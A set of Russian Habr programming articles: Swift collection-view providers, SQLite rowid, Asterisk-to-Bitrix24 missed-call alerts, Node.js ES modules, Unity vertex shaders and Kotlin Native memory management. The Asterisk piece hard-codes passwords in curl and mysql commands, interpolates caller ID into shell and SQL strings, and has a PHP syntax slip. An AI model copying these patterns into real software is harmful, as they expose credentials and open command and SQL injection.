for collectionView: UICollectionView
) -> DataSource.SupplementaryViewProvider {
// Регистрируем вью сепоратора
collectionView.register(
class: PassengerSeparatorView.self,
forSupplementaryViewOfKind: kind
)
// Возвращаем провайдер
return { collectionView, kind, indexPath in
let header: PassengerSeparatorView = collectionView
.dequeueReusableSupplementaryView(
ofKind: kind,
for: indexPath
)
let itemsInSection = collectionView.numberOfItems(
inSection: indexPath.section
)
// Скрываем сепоратор, если в секции только 1 элемент
header.isHidden = itemsInSection - 1 == indexPath.row
return header
}
}
}
```
Вспомним, что наш DataSource принимает один вариант SupplementaryViewProvider, но у нас их несколько. Для этого воспользуемся паттерном **Composite** и создадим композитный провайдер:
```
struct CompositePassengersViewProvider: PassengersViewProvider {
private var _providers: [String: PassengersViewProvider]
init(providers: [ChildPassengersViewProvider]) {
// Доступ к провайдеру будем осуществлять по его типу
_providers = Dictionary(grouping: providers, by: { $0.kind })
.compactMapValues(\.first)
}
func make(
for collectionView: UICollectionView
) -> DataSource.SupplementaryViewProvider {
return { collectionView, kind, indexPath in
// Ищем провайдер по типу вьюшки
guard let provider = _providers[kind] else {
fatalError("Unimplemented provider for \(kind)")
}
// Проксируем вызов дочернему элементу
return provider.make(for: collectionView)(
collectionView, kind, indexPath
)
}
}
}
```
Если для отрисовки списка потребуется больше одной ячейки, аналогичным образом заведём CompositePassengerCellsProvider. Почему не сделать сразу? Потому что **Keep it simple, stupid.**
В результате наше решение выглядит следующим образом:
 Исходники на [github.com](https://github.com/onsissond/PassengerList_iOS13). | https://habr.com/ru/post/648709/ | null | ru | null |
# Оптимизация запросов в SQLite. Используем rowid
Во время недавней оптимизации запросов в базу данных наткнулся на описание работы SQLite с rowid. Если вкратце: в каждой таблице есть int64 столбец rowid, значение которого является уникальным для каждой записи в таблице. Посмотреть значение можно по имени «rowid» и в запросе \* оно не показывается.
Записи хранятся как B-дерево по rowid. И это делает очень быстрым поиск и выборку по rowid. В два раза быстрее чем по primary key или по индексированному полю. Как я понял, поиск по индексированному столбцу — это поиск по B-дереву, в результате которого мы находим rowid. И уже имея rowid — ищем нужную запись.
Напрашивается очевидный вопрос: как сделать чтобы rowid и наш PRIMARY KEY совпадали? Очень просто, возможно у вас они уже совпадают, а вы об этом не знаете. :) Достаточно объявить ваше PRIMARY KEY поле одним из следующих способов:
```
CREATE TABLE t(x INTEGER PRIMARY KEY ASC, y, z);
CREATE TABLE t(x INTEGER, y, z, PRIMARY KEY(x ASC));
CREATE TABLE t(x INTEGER, y, z, PRIMARY KEY(x DESC));
```
Есть случаи когда логика подсказывает что PRIMARY KEY и rowid должны совпадать, а это не так. Например:
```
CREATE TABLE t(x INTEGER PRIMARY KEY DESC, y, z);
CREATE TABLE t(x INT PRIMARY KEY, y, z);
```
Второй случай особенно интересен, т.к. INT считается алиасом для INTEGER и поведение должно совпадать, а не тут-то было. Я на этой ошибке и попался. :) Если вы начали сомневаться совпадают ли у вас значения PRIMARY KEY и rowid, это можно просто проверить:
```
SELECT rowid, x FROM t;
```
SQLite в именах столбцов напишет x, x(2), т.е. вместо rowid будет указано имя столбца, с которым rowid ассоциирован. Значения, если они есть в таблице, будут совпадать для этих столбцов. Еще надо упомянуть что если в таблице уже есть столбец с именем «rowid» — ассоциации это не гарантирует, вы просто потеряете возможность запросить значение системного столбца rowid.
Приятной оптимизации. | https://habr.com/ru/post/160861/ | null | ru | null |
# Уведомления о пропущенных звонках с Asterisk на Битрикс24
Случается, что звонок с офисной АТС приходит на мобильный. И пропускается и на нём тоже.
Причины для этого у каждого свои, но последствия одни и те же — ты смотришь на городской номер офиса и думаешь, а кто же это звонил?
На Хабре уже не раз обсуждалась эта тема. Уведомления отправляли и на почту, и с помощью СМС, в последнее время модно делать это телеграм-ботами, однако я буду использовать Битрикс24.
Почему именно его? Добро пожаловать под кат!
Собственно, всё довольно просто — push-уведомления на телефонах подкупающе удобны и хочется использовать что-то, что доставит минимум хлопот при постоянном использовании.
Почему не Телеграм? Просто в нём реализуется только общий чат, а хотелось бы некоторой приятной приватности.
Почему не СМС? Оставив за скобками вопрос небесплатности, скажу о том, что не хочется плодить точки обслуживания при приёме или увольнении сотрудника. Хочется, чтобы отключил его в AD и всё, нет у него больше корпоративных сервисов.
Почему не почта (уж она-то по предыдущему пункту вполне годится)? Потому что сотрудники внезапно не используют её на телефонах (ну, у нас и массово во всяком случае).
В общем, по итогу сомнений и тягостных раздумий, решили остановиться на корпоративном портале на базе Битрикса. Про него можно сказать многое (и не всегда хорошее), но он у нас есть и сотрудники им пользуются.
К тому же, интегрирован с AD и в него прописаны данные всех сотрудников (включая внутренние телефоны, это важно).
В общем, к делу!
Предупреждение: *код ниже может нанести вам моральные травмы. Сразу соглашаюсь с тем, что он ужасен, всё-таки я не кодер*.
Для начала соорудим приёмник со стороны портала, на который будут приходить уведомления и который будет слать их в IM:
**send\_from\_pbx.php**
```
require($_SERVER["DOCUMENT_ROOT"] . "/bitrix/modules/main/include/prolog_before.php");
if (!(count($_POST) == 2) || !CModule::IncludeModule('iblock') || !CModule::IncludeModule('im')) {
die('error');
}
$dbr = CUser::GetList(($by="ID"), ($order="ACS"), ["UF_PHONE_INNER" = intval($_POST["number"])]);
while ($user = $dbr->Fetch()) {
CIMMessenger::Add(array(
"MESSAGE_TYPE" => "P", # P - private chat, G - group chat, S - notification
"TO_USER_ID" => $user["ID"],
"FROM_USER_ID" => 111,
"MESSAGE" => substr(strip_tags($_POST[message]) ,0, 100),
"AUTHOR_ID" => 111,
"EMAIL_TEMPLATE" => "some",
"NOTIFY_TYPE" => 2,
"NOTIFY_MODULE" => "main",
"NOTIFY_EVENT" => "IM_GROUP_INVITE",
"NOTIFY_TITLE" => "Пропущенный звонок",
));
}
?>
```
примечание: здесь всё довольно просто. Сначала дёргаем БД, получая соответствие «внутренний номер — ID пользователя в битриксе», затем отправляем сообщение от учётной записи, специально заведённой для Астериска. В принципе, можно отправлять и от имени системы, дело вкуса.
Теперь, на сервере Астериска выложим небольшой скрипт:
**send.sh**
```
#! /bin/bash
date=`date +%H:%M`
curl --cookie-jar cookies.txt 'https://portal.domain.ru/?login=yes' -H 'Host: portal.domain.ru' \
--data 'AUTH_FORM=Y&TYPE=AUTH&backurl=%2F&USER_LOGIN=asterisk&USER_PASSWORD=perasperaadastra&USER_REMEMBER=Y' > /dev/null 2>&1
curl --cookie cookies.txt --data "message=Вам не смогли дозвониться. Абонент $1 звонил вам в $date&number=$2" \
https://portal.domain.ru/send_from_pbx.php > /dev/null 2>&1
```
Здесь всё ещё проще. Авторизуемся с помощью curl, а затем им же шлём POST-ом сообщение и номер телефона.
Ну и наконец правим extensions.conf в Астериске. В макрос, который переводит звонки на мобильный в случае недоступности основного телефона дописываем ровно одну строку, вызывающую скрипт, который мы только что написали (на всякий случай приведу здесь весь макрос):
```
[macro-mobile]
exten => s,1,Set(CDR(userfield)=LOCAL)
exten => s,n,ExecIf($[${LEN(${CALLERID(num)})}=3]?Set(name=${SHELL( mysql asterisk -uasterisk -pperasperaadastra -sse 'SELECT callerid FROM peers WHERE defaultuser=${CALLERID(num)}' )$
exten => s,n,Macro(record,local)
exten => s,n,Dial(SIP/${MACRO_EXTEN},20)
exten => s,n,Dial(SIP/tel_out/${ARG1})
exten => s,n,System(/srv/asterisk/send2bitrix/send.sh "${name} (номер ${CALLERID(num)})" ${EXTEN})
```
в плане набора этот макрос используется следующим образом:
```
exten => 100,1,Macro(mobile,79251122333)
```
Здесь всё так же довольно очевидно. Макрос принудительно выставляет CallerID из БД, включает запись разговоров, пытается дозвониться на основной телефон, затем на мобильный и, потерпев фиаско, вызывает наш скрипт, уведомляющий пользователя о том, кто и во сколько ему звонил.
Вот и всё. Спасибо за внимание!
Если у вы хотите что-то уточнить, высказаться, и уж тем более дать добрый совет — пишите. | https://habr.com/ru/post/332954/ | null | ru | null |
# ECMAScript-модули в Node.js: новый план
Текущий статус поддержки ECMAScript-модулей (ESM) в Node.js:
* [Экспериментальная поддержка ESM](https://nodejs.org/api/esm.html) была добавлена в [Node.js 8.5.0](https://nodejs.org/en/blog/release/v8.5.0/) 12 сентября 2017 года.
* После этого Технический Руководящий Комитет Node.js сформировал команду, ответственную за модули ([Modules Team](https://github.com/nodejs/modules)), чтобы она помогла спроектировать недостающие части для грядущего (не экспериментального) релиза. Эта команда состоит из людей из различных отраслей веб-разработки (фронтенд, бекенд, JS-движки, и т.д.).
В октябре Modules Team опубликовала ["План по реализации Новых Модулей"](https://github.com/nodejs/modules/blob/master/doc/plan-for-new-modules-implementation.md). Этот пост объясняет, что в нем содержится.
Фазы
----
Процесс разделен на три фазы:
* Фаза 1: создать "минимальное" ядро – основной набор правил и возможностей, минимальных и бесспорных, насколько это возможно.
* Фаза 2 и далее: создание на основе ядра более сложной функциональности.
Минимальное ядро будет основой для последующей работы. Новый дизайн также заменит текущую экспериментальную реализацию, как только обзаведется аналогичными возможностями.
Фаза 1: минимальное ядро поддержки ESM в Node.js
------------------------------------------------
### Упрощение идентификаторов модулей
Одна из целей Modules Team это достижение ["браузерной эквивалентности"](https://github.com/nodejs/modules/issues/133): Node.js должна быть близка по поведению к браузерам, насколько это возможно. Ядро достигает этого путем упрощения разбора идентификаторов модулей (URL-ов, указывающих на модули):
* Каждый идентификатор модуля должен заканчиваться именем файла с расширением. То есть
+ Расширения не добавляются автоматически
+ Импортирование директорий не поддерживается (ни через перенаправление на `dir/index.mjs`, ни чтение поля `main` в `package.json`).
* ES modules могут импортировать встроенные Node.js-модули (`path` и подобные). Они являются единственным исключением из предыдущего правила.
* По умолчанию поддерживаются только файлы с расширением `.mjs` (смотрите Фазу 2, если вам интересен статус других расширений). Таким образом, другие виды модулей не смогут быть импортированы через `import`: модули CommonJS, JSON-файлы, нативные модули.
### Принесение важных возможностей CommonJS в ES-модули
* URL текущего модуля (аналогично `__filename` из CommonJS): [import.meta.url](http://2ality.com/2017/11/import-meta.html)
* Динамический импорт ES-модулей (доступен через `require()` в CommonJS): [`оператор import()`](http://2ality.com/2017/01/import-operator.html)
### Совместимость
* ES-модули смогут импортировать CommonJS-модули через [`createRequireFromPath()`](https://nodejs.org/api/modules.html#modules_module_createrequirefrompath_filename). Это будет работать следующим образом (есть планы сделать сокращенный способ, например, функцию `createRequireFromUrl()`):
```
import {createRequireFromPath as createRequire} from 'module';
import {fileURLToPath as fromPath} from 'url';
const require = createRequire(fromPath(import.meta.url));
const cjsModule = require('./cjs-module.js');
```
* CommonJS-модули смогут загружать ES-модули через `import()`.
Фаза 2 и дальнейшие планы
-------------------------
* Во второй фазе нас ждет:
+ Поддержка "bare" индентификаторов, таких как `'lodash'`. Скорее всего, это включит в себя некоторый способ маппинга этих идентификаторов на реальные пути.
+ Поддержка других расширений файлов, помимо `.mjs`. Это включает в том числе и поддержку ES-модулей в `.js` файлах.
* Фаза 3, скорее всего, сосредоточится на загрузчиках модулей с точками расширения, в которых пользователи смогут подключить свою логику.
Когда я смогу пользоваться ES-модулями в Node.js?
-------------------------------------------------
* За флагом: [доступно уже сейчас](https://nodejs.org/api/esm.html)
+ Внимание: поведение еще не соответствует описанному выше в фазе 1 (по состоянию на Node.js 11.5.0)
* Без флага и в соотвествии с фазой 1: Modules Team старается сделать это возможным как можно скорее. Надеемся, что модули выпустят из под флага в Node.js 14 (апрель 2020 года) и портируют в предыдущие версии, если это будет возможно.
Часто задаваемые вопросы
------------------------
* **Зачем нужно новое расширение файлов `.mjs`?**
+ Каждое решение по различению форматов ESM и CommonJS имеет свои преимущества и недостатки. Использование отдельного разрешения кажется неплохим вариантом ([больше информации](http://2ality.com/2017/05/es-module-specifiers.html#why-new-extension)).
* **Почему поведение Node.js должно быть похожим на браузерное?**
+ Потому что это делает возможным переиспользование кода. Например, чтобы создавать библиотеки, которые работают одновременно и в браузерах, и в Node.js
+ Также это должно облегчить переключение между бекендом и фронтендом во время кодинга.
* **К чему все эти ограничения в целях совместимости?**
+ Между ES и CommonJS-модулями есть довольно сильные отличия в структуре (статическая против динамической) и способе загрузки (асинхронная против синхронной). Ограничения помогают сохранить порядок вещей простым – учитывая, что в долгосрочной перспективе подавляющим большинством будут ES-модули.
* **Почему это все тянется так долго?**
+ Здесь участвует много заинтересованных сторон и вовлечено много разных платформ (Node.js, npm, браузеры, JS-движки, TypeScript, TC39 и другие). Если мы действительно получим ES-модули, способные работать везде, наверное, это стоит ожидания, ИМХО.
Благодарность
-------------
Спасибо Майлсу Боринсу за его отзывы об этом посте.
Дополнительные источники для дальнейшего чтения
-----------------------------------------------
* ["План по реализации Новых Модулей"](https://github.com/nodejs/modules/blob/master/doc/plan-for-new-modules-implementation.md) от Node.js Foundation Modules Team
* Глава ["Модули"](http://exploringjs.com/impatient-js/ch_modules.html) из "Javascript для нетерпеливых программистов" (поясняет особенности скриптов, CommonJS и ES-модулей)
* Изначальное поведение экспериментальной версии ESM в Node.js описано в [моем предыдущем посте](http://2ality.com/2017/09/native-esm-node.html). | https://habr.com/ru/post/433964/ | null | ru | null |
# Shader — это не магия. Написание шейдеров в Unity. Вертексные шейдеры
Всем привет! Меня зовут Дядиченко Григорий, и я основатель и CTO студии Foxsys. Сегодня мы поговорим про вершинные шейдеры. В статье будет разбираться практика с точки зрения Unity, очень простые примеры, а также приведено множество ссылок для изучения информации про шейдеры в Unity. Если вы разбираетесь в написании шейдеров, то вы не найдёте для себя ничего нового. Всем же кто хочет начать писать шейдеры в Unity, добро пожаловать под кат.
### Немного теории
Для большего понимания процесса работы шейдера разберём совсем немного теории. Вертексный шейдер или вершинный шейдер — это программируемый этап работы шейдера, который работает с отдельными вертексами. Верктексы в свою очередь хранят в себе различные аттрибуты, которые обрабатываются данной частью шейдера, чтобы на выходе получить преобразованные аттрибуты.
### Примеры где используются вершинные шейдеры
**Деформация объектов** — реалистичные волны, эффект ряби от дождя, деформация при попадании пули, всё это можно сделать вершинными шейдерами, и это будет выглядеть реалистичнее, чем тоже самое сделанное через Bump Mapping в фрагментной части шейдера. Так как это изменение геометрии. В шейдерах уровня 3.0 на эту тему есть техника под названием Dispacement Mapping, так как в них появился доступ к текстурам в вершинной части шейдера.
**Анимация объектов.** Игры выглядит живее и интереснее, когда растения реагируют на персонажа или деревья покачиваются на ветру. Для этого так же используются вертексные шейдеры
**Мультяшное освещение или стилизованное.** Во многих играх с точки зрения стиля значительно интереснее выглядит не pbr освещение, а стилизация. При этом не имеет смысла рассчитывать ничего в фрагментной части.
**Скининг.** В данный момент времени в игровых движках эта задача решена, но тем не менее в вертексных шейдерах полезно разбираться, чтобы понимать, как оно работает.
### Простые примеры работы с вертексами
Не хочется чтобы получилось, как в старых уроках по рисованию совы, поэтому пойдём последовательно по этапам. Создадим стандартный surface шейдер. Это можно сделать по правой кнопке мыши в Project View или в верхней панели во вкладке Assets. Create->Shader->Standard Surface Shader.
И получим такую стандартную заготовку.
**Surface Shader**
`Shader "Custom/SimpleVertexExtrusionShader"
{
Properties
{
_Color ("Color", Color) = (1,1,1,1)
_MainTex ("Albedo (RGB)", 2D) = "white" {}
_Glossiness ("Smoothness", Range(0,1)) = 0.5
_Metallic ("Metallic", Range(0,1)) = 0.0
}
SubShader
{
Tags { "RenderType"="Opaque" }
LOD 200
CGPROGRAM
// Physically based Standard lighting model, and enable shadows on all light types
#pragma surface surf Standard fullforwardshadows
// Use shader model 3.0 target, to get nicer looking lighting
#pragma target 3.0
sampler2D _MainTex;
struct Input
{
float2 uv_MainTex;
};
half _Glossiness;
half _Metallic;
fixed4 _Color;
// Add instancing support for this shader. You need to check 'Enable Instancing' on materials that use the shader.
// See https://docs.unity3d.com/Manual/GPUInstancing.html for more information about instancing.
// #pragma instancing_options assumeuniformscaling
UNITY_INSTANCING_BUFFER_START(Props)
// put more per-instance properties here
UNITY_INSTANCING_BUFFER_END(Props)
void surf (Input IN, inout SurfaceOutputStandard o)
{
// Albedo comes from a texture tinted by color
fixed4 c = tex2D (_MainTex, IN.uv_MainTex) * _Color;
o.Albedo = c.rgb;
// Metallic and smoothness come from slider variables
o.Metallic = _Metallic;
o.Smoothness = _Glossiness;
o.Alpha = c.a;
}
ENDCG
}
FallBack "Diffuse"
}`
Как в ней что работает и в целом подробно мы её разберём в статье после базовой практики, плюс частично будем разбираться по ходу реализации шейдеров. Пока пусть часть вещей останутся, как данность. Если коротко, тут нет никакой магии (в плане того, как подцепляются параметры и прочее) Просто по определённым ключевым словам юнити генерирует код за вас, чтобы не писать его с нуля. Поэтому этот процесс достаточно не очевиден. Подробнее про surface шейдер и его свойства в Unity можно прочитать тут. [docs.unity3d.com/Manual/SL-SurfaceShaders.html](https://docs.unity3d.com/Manual/SL-SurfaceShaders.html)
Удалим из него всё лишнее, чтобы оно не отвлекало, так как в данный момент времени оно не нужно. И получим такой короткий шейдер.
**Упрощённый шейдер**
`Shader "Custom/SimpleVertexExtrusionShader"
{
Properties
{
_Color ("Color", Color) = (1,1,1,1)
}
SubShader
{
Tags { "RenderType"="Opaque" }
LOD 200
CGPROGRAM
#pragma surface surf Standard fullforwardshadows
#pragma target 3.0
struct Input
{
float4 color : COLOR;
};
fixed4 _Color;
void surf (Input IN, inout SurfaceOutputStandard o)
{
fixed4 c = _Color;
o.Albedo = c.rgb;
}
ENDCG
}
FallBack "Diffuse"
}`
Просто цвет на модели с освещением. За расчёт освещения в данном случае отвечает Unity.
Для начала добавим самый простой эффект из примеров Unity. Экструзия по нормали, и на его примере разберём, как это работает.
Для этого добавим в строчку *#pragma surface surf Standard fullforwardshadows* модификатор *vertex:vert*. Если в качестве параметра функции мы передаём *inout appdata\_full v* то в сущности эта функция является модификатором вертексов. По своей сути — это часть вертексного шейдера, который создан кодогенерацией юнити, которая осуществляет предварительную обработку вертексов. Так же в блок *Properties* добавим поле *\_Amount* принимающее значения от 0 до 1. Для использования поля *\_Amount* в шейдере, нам так же нужно определить его там. В функции мы будем просто сдвигать на нормаль в зависимости от *\_Amount*, где 0 — это стандартная позиция вертекса (нулевой сдвиг), а 1 — сдвиг ровно на нормаль.
**SimpleVertexExtrusionShader**
`Shader "Custom/SimpleVertexExtrusionShader"
{
Properties
{
_Color ("Color", Color) = (1,1,1,1)
_Amount ("Extrusion Amount", Range(0,1)) = 0.5
}
SubShader
{
Tags { "RenderType"="Opaque" }
LOD 200
CGPROGRAM
#pragma surface surf Standard fullforwardshadows vertex:vert
#pragma target 3.0
struct Input
{
float4 color : COLOR;
};
fixed4 _Color;
float _Amount;
void vert (inout appdata_full v)
{
v.vertex.xyz += v.normal * _Amount;
}
void surf (Input IN, inout SurfaceOutputStandard o)
{
fixed4 c = _Color;
o.Albedo = c.rgb;
}
ENDCG
}
FallBack "Diffuse"
}`
Можно заметить важную особенность шейдеров. Хотя шейдер исполняется каждый кадр — результат получившийся в ходе работы шейдера не сохраняется в меше, а используется только для отрисовки. Поэтому к функциям шейдера нельзя относится, как к тому же *Update* в скриптах. Они применяются каждый кадр не изменяя данные меша, а просто модифицируя меш для дальнейшей отрисовки.
Например один из самых простых способов сделать анимацию, использовать время для изменения амплитуды. В юнити есть встроенные переменные полный список которых можно найти тут [docs.unity3d.com/Manual/SL-UnityShaderVariables.html](https://docs.unity3d.com/Manual/SL-UnityShaderVariables.html) В данном случае напишем новый шейдер на основе нашего прошлого шейдера. Вместо *\_Amount* — сделаем float значение *\_Amplitude* и воспользуемся встроенной переменной Unity *\_SinTime*. *\_SinTime* — это синус времени, и поэтому он принимает значения от -1 до 1. При этом не стоит забывать, что все встроенные переменные времени в шейдерах юнити являются векторами *float4*. Например *\_SinTime* определяется как *(sin(t/8), sin(t/4), sin(t/2), sin(t))*, где t — это время. Поэтому возьмём компоненту z, чтобы анимация была побыстрее. И получим:
**SimpleVertexExtrusionWithTime**
`Shader "Custom/SimpleVertexExtrusionWithTime"
{
Properties
{
_Color ("Color", Color) = (1,1,1,1)
_Amplitude ("Extrusion Amplitude", float) = 1
}
SubShader
{
Tags { "RenderType"="Opaque" }
LOD 200
CGPROGRAM
#pragma surface surf Standard fullforwardshadows vertex:vert
#pragma target 3.0
struct Input
{
float4 color : COLOR;
};
fixed4 _Color;
float _Amplitude;
void vert (inout appdata_full v)
{
v.vertex.xyz += v.normal * _Amplitude * (1 - _SinTime.z);
}
void surf (Input IN, inout SurfaceOutputStandard o)
{
fixed4 c = _Color;
o.Albedo = c.rgb;
}
ENDCG
}
FallBack "Diffuse"
}`
Your browser does not support HTML5 video.
Итак, это были простые примеры. Пора рисовать сову!
### Деформация объектов
Your browser does not support HTML5 video.
На тему одного эффекта деформации у меня уже написана целая статья с подробным разбором математики процесса и логики мышления при разработке подобного эффекта [habr.com/ru/post/435828](https://habr.com/ru/post/435828/) Это и будет нашей совой.
Все шейдеры в статье написаны на hlsl. У этого языка на самом деле есть своя объёмная документация, о которой многие забывают и удивляются откуда берётся половина зашитых функций, хотя они определены в HLSL [docs.microsoft.com/en-us/windows/win32/direct3dhlsl/dx-graphics-hlsl-intrinsic-functions](https://docs.microsoft.com/en-us/windows/win32/direct3dhlsl/dx-graphics-hlsl-intrinsic-functions)
Но на самом деле surface шейдеры в юнити это сама по себе большая и объёмная тема. Плюс не всегда хочется связываться с освещением Unity. Иногда нужно схитрить и написать максимально быстрый шейдер, который обладает только нужным набором заготовленных эффектов. В юнити можно писать более низкоуровневые шейдеры.
### Низкоуровневые шейдеры
По старой доброй традиции работы с шейдерами здесь и в дальнейшем будем мучать стенфордского кролика.
В целом так называемый ShaderLab в юнити — это по сути визуализация инспектора с полями в материалах и некоторое упрощение написания шейдеров.
Возьмём общую структуру Shaderlab шейдера:
**Общая структура шейдера**
`Shader "MyShaderName"
{
Properties
{
// свойства материала
}
SubShader // сабшейдер для определённого железа (можно определить директивой компиляции)
{
Pass
{
// проход шейдера
}
// для некоторых эффектов может понадобится несколько проходов
}
// может понадобится больше сабшейдеров
FallBack "VertexLit" // в случае если на определённом железе не работает шейдер, то к каком откатиться
}`
Такие директивы компиляции как
*#pragma vertex vert*
*#pragma fragment frag*
определяют какие функции шейдера компилировать в качестве вершинного и фрагментного шейдера соответственно.
Скажем возьмём один из самых частых примеров — шейдер для вывода цвета нормалей:
**SimpleNormalVisualization**
`Shader "Custom/SimpleNormalVisualization"
{
Properties
{
}
SubShader
{
Pass
{
CGPROGRAM
#pragma vertex vert
#pragma fragment frag
#include "UnityCG.cginc"
struct v2f {
float4 pos : SV_POSITION;
fixed3 color : COLOR0;
};
v2f vert (appdata_base v)
{
v2f o;
o.pos = UnityObjectToClipPos(v.vertex);
o.color = v.normal * 0.5 + 0.5;
return o;
}
fixed4 frag (v2f i) : SV_Target
{
return fixed4 (i.color, 1);
}
ENDCG
}
}
FallBack "VertexLit"
}`
В данном случае в вертексной части мы записываем в цвет вершины преобразованное значение нормали, а в пиксельной части применяем этот цвет в качестве цвета модели.
Функция *UnityObjectToClipPos* — это вспомогательная функция Unity (из файла *UnityCG.cginc*), которая переводит вертексы объекта в позицию связанную с камерой. Без неё объект, при попадании в зону видимости (фруструм) камеры, будет рисоваться в координатах экрана вне зависимости от положения трансформа. Так как первоначально позиции вертексов представлены в координатах объекта. Просто значения относительно его пивота.
Этот блок.
`struct v2f {
float4 pos : SV_POSITION;
fixed3 color : COLOR0;
};`
Это определение структуры, которая будет обрабатываться в вертексной части и передаваться в фрагментную. В данном случае в ней определено, чтобы из меша забиралось два параметра — позиция вершины и цвет вершины. Подробнее про то, какие данные возможно прокидывать в юнити, можно прочитать по этой ссылке [docs.unity3d.com/Manual/SL-VertexProgramInputs.html](https://docs.unity3d.com/Manual/SL-VertexProgramInputs.html)
Важное уточнение. Названия аттрибутов меша не играют никакой роли. То есть допустим в аттрибут color вы можете писать вектор отклонения от первоначальной позиции (таким образом иногда делают эффект, когда идёт персонаж, чтобы трава от него «отталкивалась»). То как будет обрабатываться данный аттрибут целиком и полностью зависит от вашего шейдера.
### Заключение
Спасибо за внимание! Писать какие-то сложные эффекты проблематично без фрагментной части, по этой причине подобное мы будем обсуждать в отдельных статьях. Надеюсь по ходу этой статьи стало чуть понятнее, как в целом пишется код вертексных шейдеров, и где можно найти информацию для изучения, так как шейдеры — это очень глубокая тема.
В будущих статьях мы разберём остальные виды шейдеров, отдельные эффекты, и я постараюсь описать свою логику мышления при создании новых или сложных эффетков.
Так же создан репозиторий, куда будут складываться все результаты этого цикла статей [github.com/Nox7atra/ShaderExamples](https://github.com/Nox7atra/ShaderExamples) Надеюсь эта информация будет полезна новичкам, которые только начинают свой путь в изучении этой темы.
#### Немного полезных ссылок (и источников в том числе):
[www.khronos.org/opengl/wiki/Vertex\_Shader](https://www.khronos.org/opengl/wiki/Vertex_Shader)
[docs.microsoft.com/en-us/windows/win32/direct3dhlsl/dx-graphics-hlsl-reference](https://docs.microsoft.com/en-us/windows/win32/direct3dhlsl/dx-graphics-hlsl-reference)
[docs.unity3d.com/ru/current/Manual/SL-Reference.html](https://docs.unity3d.com/ru/current/Manual/SL-Reference.html)
[docs.unity3d.com/Manual/GraphicsTutorials.html](https://docs.unity3d.com/Manual/GraphicsTutorials.html)
[www.malbred.com/3d-grafika-3d-redaktory/sovremennaya-terminologiya-3d-grafiki/vertex-shader-vershinnyy-sheyder.html](http://www.malbred.com/3d-grafika-3d-redaktory/sovremennaya-terminologiya-3d-grafiki/vertex-shader-vershinnyy-sheyder.html)
[3dpapa.ru/accurate-displacement-workflow](https://3dpapa.ru/accurate-displacement-workflow/) | https://habr.com/ru/post/474812/ | null | ru | null |
# Kotlin Native. Работаем с новой моделью памяти
*Всем доброго дня! С вами Анна Жаркова, ведущий мобильный разработчик компании Usetech. Продолжаем рассматривать способы многопоточный работы в Kotlin Native.
В предыдущих статьях мы уже рассмотрели существующие способы работы с многопоточностью* [*с корутинами*](https://habr.com/ru/post/577464/) *и* [*без*](https://habr.com/ru/post/577488/)*, и что делать с имеющимися болями. Теперь поговорим о новой модели управления памятью, которая появилась совсем недавно.*
31 августа компания JetBrains представили превью [новой модели управления памятью в Kotlin Native](https://blog.jetbrains.com/kotlin/2021/08/try-the-new-kotlin-native-memory-manager-development-preview/). Основной упор команда разработчиков сделала на безопасность шаринга между потоками, устранение утечек памяти и освобождение нас от использования специальных аннотаций. Также доработка коснулась Coroutines, и теперь можно без опаски переключаться между контекстами корутин без заморозки. Обновления подхватили и Ktor:
Итак, что же нового появится в версии Kotlin 1.6.0-M1-139:
1. Заявлено, что мы можем убрать все *freeze*() блоки (в том числе и во всех фоновых *Worker*), и переключаться между контекстами и потоками без каких-либо проблем.
2.Использование *AtomicReference* или *FreezableAtomicReference* не приводит к утечкам памяти.
3.При работе с глобальными константами не нужно теперь использовать *SharedImmutable*.
4.При работе с Worker.execute producer больше не требует возвращать изолированный подграф объектов.
Однако есть и нюансы:
1. Необходимо оставлять заморозку при работе с AtomicReference. В качестве альтернативы мы можем использовать ***FreezableAtomicReference*** или ***AtomicRef*** из ***atomicfu*** . Однако, нас предупреждают, что atomicfu еще не достигла версии 1.х.
2.При вызове suspend функции Kotlin в Swift ее completion handler блок может не прийти в main thread. Т.е добавляем DispatchQueue.main.async{...}, если нам нужно.
3.deInit Swift/ObjC объктов может вызываться в другом потоке.
4.Глобальные свойства инициализируются лениво, т.е при первом обращении. Ранее глобальные свойства инициализировались при запуске. Если вам нужно поддерживать это поведение, то добавляем теперь аннотацию ***@'EagerInitialization***. Рекомендовано ознакомиться с документацией перед использованием.
Нюансы есть и в работе с корутинами, в версии поддерживающей новую модель управления памятью:
1.Мы можем работать в *Worker* с *Channel* и *Flow* без заморозки. И в отличии от native-mt версии заморозка, например, канала заморозить все его содержимое, что может не ожидаться.
2.*Dispatchers.Default* теперь поддерживается global queue.
3.*newSingleThreadContext* и *newFixedThreadPoolContext* теперь можно использовать для создания диспетчера корутин с поддержкой пула одного или нескольких разработчиков.
4.*Dispatchers.Main* связан с main queue для Darwin и отдельным Worker для других платформ Native. Поэтому рекомендовано не использовать его для работы с Unit тестами, так как ничего не будет вызвано в очереди главного потока.
Нюансов много, есть определенные проблемы с перформансом и известные баги, о которых команда разработки написала предупредительно [в документации.](https://github.com/JetBrains/kotlin/blob/master/kotlin-native/NEW_MM.md) Но это пока превью (даже не альфа).
Что ж, давайте попробуем настроить наше решение из предыдущих статей под новую версию модели управления памяти.
Для установки версии 1.6.0-M1-139 добавим некоторые настройки:
```
// build.gradle.kts
buildscript {
repositories {
gradlePluginPortal()
google()
mavenCentral()
maven("https://maven.pkg.jetbrains.space/kotlin/p/kotlin/temporary")
}
dependencies {
classpath("org.jetbrains.kotlin:kotlin-gradle-plugin:${findProperty("version.kotlin")}")
classpath("org.jetbrains.kotlin:kotlin-serialization:${findProperty("version.kotlin")}")
classpath("com.android.tools.build:gradle:${findProperty("version.androidGradlePlugin")}")
}
}
// settings.gradle.kts
pluginManagement {
repositories {
gradlePluginPortal()
google()
mavenCentral()
maven {
url = uri("https://maven.pkg.jetbrains.space/kotlin/p/kotlin/dev")
}
maven {
url = uri("https://maven.pkg.jetbrains.space/public/p/kotlinx-coroutines/maven")
}
}
}
}
```
```
//gradle.properties
kotlin.native.binary.memoryModel=experimental
#kotlin.native.binary.freezing=disabled
#Common versions
version.kotlin=1.6.0-M1-139
version.androidGradlePlugin=7.0.0
version.kotlinx.serialization=1.2.2
version.kotlinx.coroutines=1.5.1-new-mm-dev2
```
И разумеется, добавим зависимость для корутин:
```
//version.kotlinx.coroutines=1.5.1-new-mm-dev2
val commonMain by getting {
dependencies {
implementation("org.jetbrains.kotlinx:kotlinx-coroutines-core:${findProperty("version.kotlinx.coroutines")}")
}
}
```
